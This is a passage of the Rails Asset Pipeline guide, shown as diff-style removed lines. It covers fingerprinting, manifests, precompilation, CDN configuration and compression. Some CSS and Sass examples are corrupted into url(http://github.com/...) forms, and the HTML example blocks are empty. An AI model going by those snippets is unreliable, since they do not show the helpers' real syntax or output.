into each filename so that the file is -cached by the web browser. You can invalidate the cache by altering this -fingerprint, which happens automatically whenever you change the file contents. - -The second feature of the asset pipeline is asset minification or compression. -For CSS files, this is done by removing whitespace and comments. For JavaScript, -more complex processes can be applied. You can choose from a set of built in -options or specify your own. - -The third feature of the asset pipeline is it allows coding assets via a -higher-level language, with precompilation down to the actual assets. Supported -languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by -default. - -### What is Fingerprinting and Why Should I Care? - -Fingerprinting is a technique that makes the name of a file dependent on the -contents of the file. When the file contents change, the filename is also -changed. For content that is static or infrequently changed, this provides an -easy way to tell whether two versions of a file are identical, even across -different servers or deployment dates. - -When a filename is unique and based on its content, HTTP headers can be set to -encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, -or in web browsers) to keep their own copy of the content. When the content is -updated, the fingerprint will change. This will cause the remote clients to -request a new copy of the content. This is generally known as _cache busting_. - -The technique Sprockets uses for fingerprinting is to insert a hash of the -content into the name, usually at the end. For example a CSS file `global.css` - -``` -global-908e25f4bf641868d8683022a5b62f54.css -``` - -This is the strategy adopted by the Rails asset pipeline. - -Rails' old strategy was to append a date-based query string to every asset linked -with a built-in helper. In the source the generated code looked like this: - -``` -/stylesheets/global.css?1309495796 -``` - -The query string strategy has several disadvantages: - -1. **Not all caches will reliably cache content where the filename only differs by -query parameters** - - [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), - "...avoiding a querystring for cacheable resources". He found that in this -case 5-20% of requests will not be cached. Query strings in particular do not -work at all with some CDNs for cache invalidation. - -2. **The file name can change between nodes in multi-server environments.** - - The default query string in Rails 2.x is based on the modification time of -the files. When assets are deployed to a cluster, there is no guarantee that the -timestamps will be the same, resulting in different values being used depending -on which server handles the request. - -3. **Too much cache invalidation** - - When static assets are deployed with each new release of code, the mtime -(time of last modification) of _all_ these files changes, forcing all remote -clients to fetch them again, even when the content of those assets has not changed. - -Fingerprinting fixes these problems by avoiding query strings, and by ensuring -that filenames are consistent based on their content. - -Fingerprinting is enabled by default for both the development and production -environments. You can enable or disable it in your configuration through the -`config.assets.digest` option. - -More reading: - -* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html) -* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) - - -How to Use the Asset Pipeline ------------------------------ - -In previous versions of Rails, all assets were located in subdirectories of -`public` such as `images`, `javascripts` and `stylesheets`. With the asset -pipeline, the preferred location for these assets is now the `app/assets` -directory. Files in this directory are served by the Sprockets middleware. - -Assets can still be placed in the `public` hierarchy. Any assets under `public` -will be served as static files by the application or web server when -`config.public_file_server.enabled` is set to true. You should use `app/assets` for -files that must undergo some pre-processing before they are served. - -In production, Rails precompiles these files to `public/assets` by default. The -precompiled copies are then served as static assets by the web server. The files -in `app/assets` are never served directly in production. - -### Controller Specific Assets - -When you generate a scaffold or a controller, Rails also generates a JavaScript -file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a -Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) -for that controller. Additionally, when generating a scaffold, Rails generates -the file scaffolds.css (or scaffolds.scss if `sass-rails` is in the -`Gemfile`.) - -For example, if you generate a `ProjectsController`, Rails will also add a new -file at `app/assets/javascripts/projects.coffee` and another at -`app/assets/stylesheets/projects.scss`. By default these files will be ready -to use by your application immediately using the `require_tree` directive. See -[Manifest Files and Directives](#manifest-files-and-directives) for more details -on require_tree. - -You can also opt to include controller specific stylesheets and JavaScript files -only in their respective controllers using the following: - -`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag -params[:controller] %>` - -When doing this, ensure you are not using the `require_tree` directive, as that -will result in your assets being included more than once. - -WARNING: When using asset precompilation, you will need to ensure that your -controller assets will be precompiled when loading them on a per page basis. By -default .coffee and .scss files will not be precompiled on their own. See -[Precompiling Assets](#precompiling-assets) for more information on how -precompiling works. - -NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. -If you are using macOS or Windows, you have a JavaScript runtime installed in -your operating system. Check [ExecJS](https://github.com/rails/execjs#readme) documentation to know all supported JavaScript runtimes. - -You can also disable generation of controller specific asset files by adding the -following to your `config/application.rb` configuration: - -```ruby - config.generators do |g| - g.assets false - end -``` - -### Asset Organization - -Pipeline assets can be placed inside an application in one of three locations: -`app/assets`, `lib/assets` or `vendor/assets`. - -* `app/assets` is for assets that are owned by the application, such as custom -images, JavaScript files or stylesheets. - -* `lib/assets` is for your own libraries' code that doesn't really fit into the -scope of the application or those libraries which are shared across applications. - -* `vendor/assets` is for assets that are owned by outside entities, such as -code for JavaScript plugins and CSS frameworks. Keep in mind that third party -code with references to other files also processed by the asset Pipeline (images, -stylesheets, etc.), will need to be rewritten to use helpers like `asset_path`. - -WARNING: If you are upgrading from Rails 3, please take into account that assets -under `lib/assets` or `vendor/assets` are available for inclusion via the -application manifests but no longer part of the precompile array. See -[Precompiling Assets](#precompiling-assets) for guidance. - -#### Search Paths - -When a file is referenced from a manifest or a helper, Sprockets searches the -three default asset locations for it. - -The default locations are: the `images`, `javascripts` and `stylesheets` -directories under the `app/assets` folder, but these subdirectories -are not special - any path under `assets/*` will be searched. - -For example, these files: - -``` -app/assets/javascripts/home.js -lib/assets/javascripts/moovinator.js -vendor/assets/javascripts/slider.js -vendor/assets/somepackage/phonebox.js -``` - -would be referenced in a manifest like this: - -```js -//= require home -//= require moovinator -//= require slider -//= require phonebox -``` - -Assets inside subdirectories can also be accessed. - -``` -app/assets/javascripts/sub/something.js -``` - -is referenced as: - -```js -//= require sub/something -``` - -You can view the search path by inspecting -`Rails.application.config.assets.paths` in the Rails console. - -Besides the standard `assets/*` paths, additional (fully qualified) paths can be -added to the pipeline in `config/application.rb`. For example: - -```ruby -config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") -``` - -Paths are traversed in the order they occur in the search path. By default, -this means the files in `app/assets` take precedence, and will mask -corresponding paths in `lib` and `vendor`. - -It is important to note that files you want to reference outside a manifest must -be added to the precompile array or they will not be available in the production -environment. - -#### Using Index Files - -Sprockets uses files named `index` (with the relevant extensions) for a special -purpose. - -For example, if you have a jQuery library with many modules, which is stored in -`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as -the manifest for all files in this library. This file could include a list of -all the required files in order, or a simple `require_tree` directive. - -The library as a whole can be accessed in the application manifest like so: - -```js -//= require library_name -``` - -This simplifies maintenance and keeps things clean by allowing related code to -be grouped before inclusion elsewhere. - -### Coding Links to Assets - -Sprockets does not add any new methods to access your assets - you still use the -familiar `javascript_include_tag` and `stylesheet_link_tag`: - -```erb -<%= stylesheet_link_tag "application", media: "all" %> -<%= javascript_include_tag "application" %> -``` - -If using the turbolinks gem, which is included by default in Rails, then -include the 'data-turbolinks-track' option which causes turbolinks to check if -an asset has been updated and if so loads it into the page: - -```erb -<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %> -<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %> -``` - -In regular views you can access images in the `app/assets/images` directory -like this: - -```erb -<%= image_tag "rails.png" %> -``` - -Provided that the pipeline is enabled within your application (and not disabled -in the current environment context), this file is served by Sprockets. If a file -exists at `public/assets/rails.png` it is served by the web server. - -Alternatively, a request for a file with an SHA256 hash such as -`public/assets/rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png` -is treated the same way. How these hashes are generated is covered in the [In -Production](#in-production) section later on in this guide. - -Sprockets will also look through the paths specified in `config.assets.paths`, -which includes the standard application paths and any paths added by Rails -engines. - -Images can also be organized into subdirectories if required, and then can be -accessed by specifying the directory's name in the tag: - -```erb -<%= image_tag "icons/rails.png" %> -``` - -WARNING: If you're precompiling your assets (see [In Production](#in-production) -below), linking to an asset that does not exist will raise an exception in the -calling page. This includes linking to a blank string. As such, be careful using -`image_tag` and the other helpers with user-supplied data. - -#### CSS and ERB - -The asset pipeline automatically evaluates ERB. This means if you add an -`erb` extension to a CSS asset (for example, `application.css.erb`), then -helpers like `asset_path` are available in your CSS rules: - -```css -.class { background-image: url(http://github.com/%3C%=%20asset_path%20'image.png'%20%%3E) } -``` - -This writes the path to the particular asset being referenced. In this example, -it would make sense to have an image in one of the asset load paths, such as -`app/assets/images/image.png`, which would be referenced here. If this image is -already available in `public/assets` as a fingerprinted file, then that path is -referenced. - -If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) - -a method of embedding the image data directly into the CSS file - you can use -the `asset_data_uri` helper. - -```css -#logo { background: url(http://github.com/%3C%=%20asset_data_uri%20'logo.png'%20%%3E) } -``` - -This inserts a correctly-formatted data URI into the CSS source. - -Note that the closing tag cannot be of the style `-%>`. - -#### CSS and Sass - -When using the asset pipeline, paths to assets must be re-written and -`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, -underscored in Ruby) for the following asset classes: image, font, video, audio, -JavaScript and stylesheet. - -* `image-url("http://github.com/rails.png")` returns `url(http://github.com/assets/rails.png)` -* `image-path("rails.png")` returns `"/assets/rails.png"` - -The more generic form can also be used: - -* `asset-url("http://github.com/rails.png")` returns `url(http://github.com/assets/rails.png)` -* `asset-path("rails.png")` returns `"/assets/rails.png"` - -#### JavaScript/CoffeeScript and ERB - -If you add an `erb` extension to a JavaScript asset, making it something such as -`application.js.erb`, you can then use the `asset_path` helper in your -JavaScript code: - -```js -$('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); -``` - -This writes the path to the particular asset being referenced. - -Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` -extension (e.g., `application.coffee.erb`): - -```js -$('#logo').attr src: "<%= asset_path('logo.png') %>" -``` - -### Manifest Files and Directives - -Sprockets uses manifest files to determine which assets to include and serve. -These manifest files contain _directives_ - instructions that tell Sprockets -which files to require in order to build a single CSS or JavaScript file. With -these directives, Sprockets loads the files specified, processes them if -necessary, concatenates them into one single file and then compresses them -(based on value of `Rails.application.config.assets.js_compressor`). By serving -one file rather than many, the load time of pages can be greatly reduced because -the browser makes fewer requests. Compression also reduces file size, enabling -the browser to download them faster. - - -For example, a new Rails application includes a default -`app/assets/javascripts/application.js` file containing the following lines: - -```js -// ... -//= require jquery -//= require jquery_ujs -//= require_tree . -``` - -In JavaScript files, Sprockets directives begin with `//=`. In the above case, -the file is using the `require` and the `require_tree` directives. The `require` -directive is used to tell Sprockets the files you wish to require. Here, you are -requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere -in the search path for Sprockets. You need not supply the extensions explicitly. -Sprockets assumes you are requiring a `.js` file when done from within a `.js` -file. - -The `require_tree` directive tells Sprockets to recursively include _all_ -JavaScript files in the specified directory into the output. These paths must be -specified relative to the manifest file. You can also use the -`require_directory` directive which includes all JavaScript files only in the -directory specified, without recursion. - -Directives are processed top to bottom, but the order in which files are -included by `require_tree` is unspecified. You should not rely on any particular -order among those. If you need to ensure some particular JavaScript ends up -above some other in the concatenated file, require the prerequisite file first -in the manifest. Note that the family of `require` directives prevents files -from being included twice in the output. - -Rails also creates a default `app/assets/stylesheets/application.css` file -which contains these lines: - -```css -/* ... -*= require_self -*= require_tree . -*/ -``` - -Rails creates both `app/assets/javascripts/application.js` and -`app/assets/stylesheets/application.css` regardless of whether the ---skip-sprockets option is used when creating a new Rails application. This is -so you can easily add asset pipelining later if you like. - -The directives that work in JavaScript files also work in stylesheets -(though obviously including stylesheets rather than JavaScript files). The -`require_tree` directive in a CSS manifest works the same way as the JavaScript -one, requiring all stylesheets from the current directory. - -In this example, `require_self` is used. This puts the CSS contained within the -file (if any) at the precise location of the `require_self` call. - -NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) -instead of these Sprockets directives. When using Sprockets directives, Sass files exist within -their own scope, making variables or mixins only available within the document they were defined in. - -You can do file globbing as well using `@import "http://github.com/*"`, and `@import "http://github.com/**/*"` to add the whole tree which is equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats. - -You can have as many manifest files as you need. For example, the `admin.css` -and `admin.js` manifest could contain the JS and CSS files that are used for the -admin section of an application. - -The same remarks about ordering made above apply. In particular, you can specify -individual files and they are compiled in the order specified. For example, you -might concatenate three CSS files together this way: - -```js -/* ... -*= require reset -*= require layout -*= require chrome -*/ -``` - -### Preprocessing - -The file extensions used on an asset determine what preprocessing is applied. -When a controller or a scaffold is generated with the default Rails gemset, a -CoffeeScript file and a SCSS file are generated in place of a regular JavaScript -and CSS file. The example used before was a controller called "projects", which -generated an `app/assets/javascripts/projects.coffee` and an -`app/assets/stylesheets/projects.scss` file. - -In development mode, or if the asset pipeline is disabled, when these files are -requested they are processed by the processors provided by the `coffee-script` -and `sass` gems and then sent back to the browser as JavaScript and CSS -respectively. When asset pipelining is enabled, these files are preprocessed and -placed in the `public/assets` directory for serving by either the Rails app or -web server. - -Additional layers of preprocessing can be requested by adding other extensions, -where each extension is processed in a right-to-left manner. These should be -used in the order the processing should be applied. For example, a stylesheet -called `app/assets/stylesheets/projects.scss.erb` is first processed as ERB, -then SCSS, and finally served as CSS. The same applies to a JavaScript file - -`app/assets/javascripts/projects.coffee.erb` is processed as ERB, then -CoffeeScript, and served as JavaScript. - -Keep in mind the order of these preprocessors is important. For example, if -you called your JavaScript file `app/assets/javascripts/projects.erb.coffee` -then it would be processed with the CoffeeScript interpreter first, which -wouldn't understand ERB and therefore you would run into problems. - - -In Development --------------- - -In development mode, assets are served as separate files in the order they are -specified in the manifest file. - -This manifest `app/assets/javascripts/application.js`: - -```js -//= require core -//= require projects -//= require tickets -``` - -would generate this HTML: - -```html - - - -``` - -The `body` param is required by Sprockets. - -### Runtime Error Checking - -By default the asset pipeline will check for potential errors in development mode during -runtime. To disable this behavior you can set: - -```ruby -config.assets.raise_runtime_errors = false -``` - -When this option is true, the asset pipeline will check if all the assets loaded -in your application are included in the `config.assets.precompile` list. -If `config.assets.digest` is also true, the asset pipeline will require that -all requests for assets include digests. - -### Raise an Error When an Asset is Not Found - -If you are using sprockets-rails >= 3.2.0 you can configure what happens -when an asset lookup is performed and nothing is found. If you turn off "asset fallback" -then an error will be raised when an asset cannot be found. - -```ruby -config.assets.unknown_asset_fallback = false -``` - -If "asset fallback" is enabled then when an asset cannot be found the path will be -output instead and no error raised. The asset fallback behavior is enabled by default. - -### Turning Digests Off - -You can turn off digests by updating `config/environments/development.rb` to -include: - -```ruby -config.assets.digest = false -``` - -When this option is true, digests will be generated for asset URLs. - -### Turning Debugging Off - -You can turn off debug mode by updating `config/environments/development.rb` to -include: - -```ruby -config.assets.debug = false -``` - -When debug mode is off, Sprockets concatenates and runs the necessary -preprocessors on all files. With debug mode turned off the manifest above would -generate instead: - -```html - -``` - -Assets are compiled and cached on the first request after the server is started. -Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request -overhead on subsequent requests - on these the browser gets a 304 (Not Modified) -response. - -If any of the files in the manifest have changed between requests, the server -responds with a new compiled file. - -Debug mode can also be enabled in Rails helper methods: - -```erb -<%= stylesheet_link_tag "application", debug: true %> -<%= javascript_include_tag "application", debug: true %> -``` - -The `:debug` option is redundant if debug mode is already on. - -You can also enable compression in development mode as a sanity check, and -disable it on-demand as required for debugging. - -In Production -------------- - -In the production environment Sprockets uses the fingerprinting scheme outlined -above. By default Rails assumes assets have been precompiled and will be -served as static assets by your web server. - -During the precompilation phase an SHA256 is generated from the contents of the -compiled files, and inserted into the filenames as they are written to disk. -These fingerprinted names are used by the Rails helpers in place of the manifest -name. - -For example this: - -```erb -<%= javascript_include_tag "application" %> -<%= stylesheet_link_tag "application" %> -``` - -generates something like this: - -```html - - -``` - -NOTE: with the Asset Pipeline the `:cache` and `:concat` options aren't used -anymore, delete these options from the `javascript_include_tag` and -`stylesheet_link_tag`. - -The fingerprinting behavior is controlled by the `config.assets.digest` -initialization option (which defaults to `true`). - -NOTE: Under normal circumstances the default `config.assets.digest` option -should not be changed. If there are no digests in the filenames, and far-future -headers are set, remote clients will never know to refetch the files when their -content changes. - -### Precompiling Assets - -Rails comes bundled with a task to compile the asset manifests and other -files in the pipeline. - -Compiled assets are written to the location specified in `config.assets.prefix`. -By default, this is the `/assets` directory. - -You can call this task on the server during deployment to create compiled -versions of your assets directly on the server. See the next section for -information on compiling locally. - -The task is: - -```bash -$ RAILS_ENV=production bin/rails assets:precompile -``` - -Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. -Add the following line to `Capfile`: - -```ruby -load 'deploy/assets' -``` - -This links the folder specified in `config.assets.prefix` to `shared/assets`. -If you already use this shared folder you'll need to write your own deployment -task. - -It is important that this folder is shared between deployments so that remotely -cached pages referencing the old compiled assets still work for the life of -the cached page. - -The default matcher for compiling files includes `application.js`, -`application.css` and all non-JS/CSS files (this will include all image assets -automatically) from `app/assets` folders including your gems: - -```ruby -[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) }, -/application.(css|js)$/ ] -``` - -NOTE: The matcher (and other members of the precompile array; see below) is -applied to final compiled file names. This means anything that compiles to -JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and -`.scss` files are **not** automatically included as they compile to JS/CSS. - -If you have other manifests or individual stylesheets and JavaScript files to -include, you can add them to the `precompile` array in `config/initializers/assets.rb`: - -```ruby -Rails.application.config.assets.precompile += %w( admin.js admin.css ) -``` - -NOTE. Always specify an expected compiled filename that ends with .js or .css, -even if you want to add Sass or CoffeeScript files to the precompile array. - -The task also generates a `.sprockets-manifest-md5hash.json` (where `md5hash` is -an MD5 hash) that contains a list with all your assets and their respective -fingerprints. This is used by the Rails helper methods to avoid handing the -mapping requests back to Sprockets. A typical manifest file looks like: - -```ruby -{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383, -"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="}, -"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994, -"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="}, -"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629, -"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="}, -"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414, -"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}}, -"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js", -"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css", -"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico", -"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}} -``` - -The default location for the manifest is the root of the location specified in -`config.assets.prefix` ('/assets' by default). - -NOTE: If there are missing precompiled files in production you will get an -`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` -exception indicating the name of the missing file(s). - -#### Far-future Expires Header - -Precompiled assets exist on the file system and are served directly by your web -server. They do not have far-future headers by default, so to get the benefit of -fingerprinting you'll have to update your server configuration to add those -headers. - -For Apache: - -```apache -# The Expires* directives requires the Apache module -# `mod_expires` to be enabled. - - # Use of ETag is discouraged when Last-Modified is present - Header unset ETag - FileETag None - # RFC says only cache for 1 year - ExpiresActive On - ExpiresDefault "access plus 1 year" - -``` - -For NGINX: - -```nginx -location ~ ^/assets/ { - expires 1y; - add_header Cache-Control public; - - add_header ETag ""; -} -``` - -### Local Precompilation - -There are several reasons why you might want to precompile your assets locally. -Among them are: - -* You may not have write access to your production file system. -* You may be deploying to more than one server, and want to avoid -duplication of work. -* You may be doing frequent deploys that do not include asset changes. - -Local compilation allows you to commit the compiled files into source control, -and deploy as normal. - -There are three caveats: - -* You must not run the Capistrano deployment task that precompiles assets. -* You must ensure any necessary compressors or minifiers are -available on your development system. -* You must change the following application configuration setting: - -In `config/environments/development.rb`, place the following line: - -```ruby -config.assets.prefix = "/dev-assets" -``` - -The `prefix` change makes Sprockets use a different URL for serving assets in -development mode, and pass all requests to Sprockets. The prefix is still set to -`/assets` in the production environment. Without this change, the application -would serve the precompiled assets from `/assets` in development, and you would -not see any local changes until you compile assets again. - -In practice, this will allow you to precompile locally, have those files in your -working tree, and commit those files to source control when needed. Development -mode will work as expected. - -### Live Compilation - -In some circumstances you may wish to use live compilation. In this mode all -requests for assets in the pipeline are handled by Sprockets directly. - -To enable this option set: - -```ruby -config.assets.compile = true -``` - -On the first request the assets are compiled and cached as outlined in -development above, and the manifest names used in the helpers are altered to -include the SHA256 hash. - -Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This -signals all caches between your server and the client browser that this content -(the file served) can be cached for 1 year. The effect of this is to reduce the -number of requests for this asset from your server; the asset has a good chance -of being in the local browser cache or some intermediate cache. - -This mode uses more memory, performs more poorly than the default and is not -recommended. - -If you are deploying a production application to a system without any -pre-existing JavaScript runtimes, you may want to add one to your Gemfile: - -```ruby -group :production do - gem 'therubyracer' -end -``` - -### CDNs - -CDN stands for [Content Delivery -Network](http://en.wikipedia.org/wiki/Content_delivery_network), they are -primarily designed to cache assets all over the world so that when a browser -requests the asset, a cached copy will be geographically close to that browser. -If you are serving assets directly from your Rails server in production, the -best practice is to use a CDN in front of your application. - -A common pattern for using a CDN is to set your production application as the -"origin" server. This means when a browser requests an asset from the CDN and -there is a cache miss, it will grab the file from your server on the fly and -then cache it. For example if you are running a Rails application on -`example.com` and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`, -then when a request is made to `mycdnsubdomain.fictional- -cdn.com/assets/smile.png`, the CDN will query your server once at -`example.com/assets/smile.png` and cache the request. The next request to the -CDN that comes in to the same URL will hit the cached copy. When the CDN can -serve an asset directly the request never touches your Rails server. Since the -assets from a CDN are geographically closer to the browser, the request is -faster, and since your server doesn't need to spend time serving assets, it can -focus on serving application code as fast as possible. - -#### Set up a CDN to Serve Static Assets - -To set up your CDN you have to have your application running in production on -the internet at a publicly available URL, for example `example.com`. Next -you'll need to sign up for a CDN service from a cloud hosting provider. When you -do this you need to configure the "origin" of the CDN to point back at your -website `example.com`, check your provider for documentation on configuring the -origin server. - -The CDN you provisioned should give you a custom subdomain for your application -such as `mycdnsubdomain.fictional-cdn.com` (note fictional-cdn.com is not a -valid CDN provider at the time of this writing). Now that you have configured -your CDN server, you need to tell browsers to use your CDN to grab assets -instead of your Rails server directly. You can do this by configuring Rails to -set your CDN as the asset host instead of using a relative path. To set your -asset host in Rails, you need to set `config.action_controller.asset_host` in -`config/environments/production.rb`: - -```ruby -config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' -``` - -NOTE: You only need to provide the "host", this is the subdomain and root -domain, you do not need to specify a protocol or "scheme" such as `http://` or -`https://`. When a web page is requested, the protocol in the link to your asset -that is generated will match how the webpage is accessed by default. - -You can also set this value through an [environment -variable](http://en.wikipedia.org/wiki/Environment_variable) to make running a -staging copy of your site easier: - -``` -config.action_controller.asset_host = ENV['CDN_HOST'] -``` - - - -Note: You would need to set `CDN_HOST` on your server to `mycdnsubdomain -.fictional-cdn.com` for this to work. - -Once you have configured your server and your CDN when you serve a webpage that -has an asset: - -```erb -<%= asset_path('smile.png') %> -``` - -Instead of returning a path such as `/assets/smile.png` (digests are left out -for readability). The URL generated will have the full path to your CDN. - -``` -http://mycdnsubdomain.fictional-cdn.com/assets/smile.png -``` - -If the CDN has a copy of `smile.png` it will serve it to the browser and your -server doesn't even know it was requested. If the CDN does not have a copy it -will try to find it at the "origin" `example.com/assets/smile.png` and then store -it for future use. - -If you want to serve only some assets from your CDN, you can use custom `:host` -option your asset helper, which overwrites value set in -`config.action_controller.asset_host`. - -```erb -<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %> -``` - -#### Customize CDN Caching Behavior - -A CDN works by caching content. If the CDN has stale or bad content, then it is -hurting rather than helping your application. The purpose of this section is to -describe general caching behavior of most CDNs, your specific provider may -behave slightly differently. - -##### CDN Request Caching - -While a CDN is described as being good for caching assets, in reality caches the -entire request. This includes the body of the asset as well as any headers. The -most important one being `Cache-Control` which tells the CDN (and web browsers) -how to cache contents. This means that if someone requests an asset that does -not exist `/assets/i-dont-exist.png` and your Rails application returns a 404, -then your CDN will likely cache the 404 page if a valid `Cache-Control` header -is present. - -##### CDN Header Debugging - -One way to check the headers are cached properly in your CDN is by using [curl]( -http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You -can request the headers from both your server and your CDN to verify they are -the same: - -``` -$ curl -I http://www.example/assets/application- -d0e099e021c95eb0de3615fd1d8c4d83.css -HTTP/1.1 200 OK -Server: Cowboy -Date: Sun, 24 Aug 2014 20:27:50 GMT -Connection: keep-alive -Last-Modified: Thu, 08 May 2014 01:24:14 GMT -Content-Type: text/css -Cache-Control: public, max-age=2592000 -Content-Length: 126560 -Via: 1.1 vegur -``` - -Versus the CDN copy. - -``` -$ curl -I http://mycdnsubdomain.fictional-cdn.com/application- -d0e099e021c95eb0de3615fd1d8c4d83.css -HTTP/1.1 200 OK Server: Cowboy Last- -Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css -Cache-Control: -public, max-age=2592000 -Via: 1.1 vegur -Content-Length: 126560 -Accept-Ranges: -bytes -Date: Sun, 24 Aug 2014 20:28:45 GMT -Via: 1.1 varnish -Age: 885814 -Connection: keep-alive -X-Served-By: cache-dfw1828-DFW -X-Cache: HIT -X-Cache-Hits: -68 -X-Timer: S1408912125.211638212,VS0,VE0 -``` - -Check your CDN documentation for any additional information they may provide -such as `X-Cache` or for any additional headers they may add. - -##### CDNs and the Cache-Control Header - -The [cache control -header](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) is a W3C -specification that describes how a request can be cached. When no CDN is used, a -browser will use this information to cache contents. This is very helpful for -assets that are not modified so that a browser does not need to re-download a -website's CSS or JavaScript on every request. Generally we want our Rails server -to tell our CDN (and browser) that the asset is "public", that means any cache -can store the request. Also we commonly want to set `max-age` which is how long -the cache will store the object before invalidating the cache. The `max-age` -value is set to seconds with a maximum possible value of `31536000` which is one -year. You can do this in your Rails application by setting - -``` -config.public_file_server.headers = { - 'Cache-Control' => 'public, max-age=31536000' -} -``` - -Now when your application serves an asset in production, the CDN will store the -asset for up to a year. Since most CDNs also cache headers of the request, this -`Cache-Control` will be passed along to all future browsers seeking this asset, -the browser then knows that it can store this asset for a very long time before -needing to re-request it. - -##### CDNs and URL based Cache Invalidation - -Most CDNs will cache contents of an asset based on the complete URL. This means -that a request to - -``` -http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png -``` - -Will be a completely different cache from - -``` -http://mycdnsubdomain.fictional-cdn.com/assets/smile.png -``` - -If you want to set far future `max-age` in your `Cache-Control` (and you do), -then make sure when you change your assets that your cache is invalidated. For -example when changing the smiley face in an image from yellow to blue, you want -all visitors of your site to get the new blue face. When using a CDN with the -Rails asset pipeline `config.assets.digest` is set to true by default so that -each asset will have a different file name when it is changed. This way you -don't have to ever manually invalidate any items in your cache. By using a -different unique asset name instead, your users get the latest asset. - -Customizing the Pipeline ------------------------- - -### CSS Compression - -One of the options for compressing CSS is YUI. The [YUI CSS -compressor](http://yui.github.io/yuicompressor/css.html) provides -minification. - -The following line enables YUI compression, and requires the `yui-compressor` -gem. - -```ruby -config.assets.css_compressor = :yui -``` -The other option for compressing CSS if you have the sass-rails gem installed is - -```ruby -config.assets.css_compressor = :sass -``` - -### JavaScript Compression - -Possible options for JavaScript compression are `:closure`, `:uglifier` and -`:yui`. These require the use of the `closure-compiler`, `uglifier` or -`yui-compressor` gems, respectively. - -The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). -This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for -NodeJS) in Ruby. It compresses your code by removing white space and comments, -shortening local variable names, and performing other micro-optimizations such -as changing `if` and `else` statements to ternary operators where possible. - -The following line invokes `uglifier` for JavaScript compression. - -```ruby -config.assets.js_compressor = :uglifier -``` - -NOTE: You will need an [ExecJS](https://github.com/rails/execjs#readme) -supported runtime in order to use `uglifier`. If you are using macOS or -Windows you have a JavaScript runtime installed in your operating system. - - - -### Serving GZipped version of assets - -By default, gzipped version of compiled assets will be generated, along with -the non-gzipped version of assets. Gzipped assets help reduce the transmission -of data over the wire. You can configure this by setting the `gzip` flag. - -```ruby -config.assets.gzip = false # disable gzipped assets generation -``` - -### Using Your Own Compressor - -The compressor config settings for CSS and JavaScript also take any object. -This object must have a `compress` method that takes a string as the sole -argument and it must return a string. - -```ruby -class Transformer - def compress(string) - 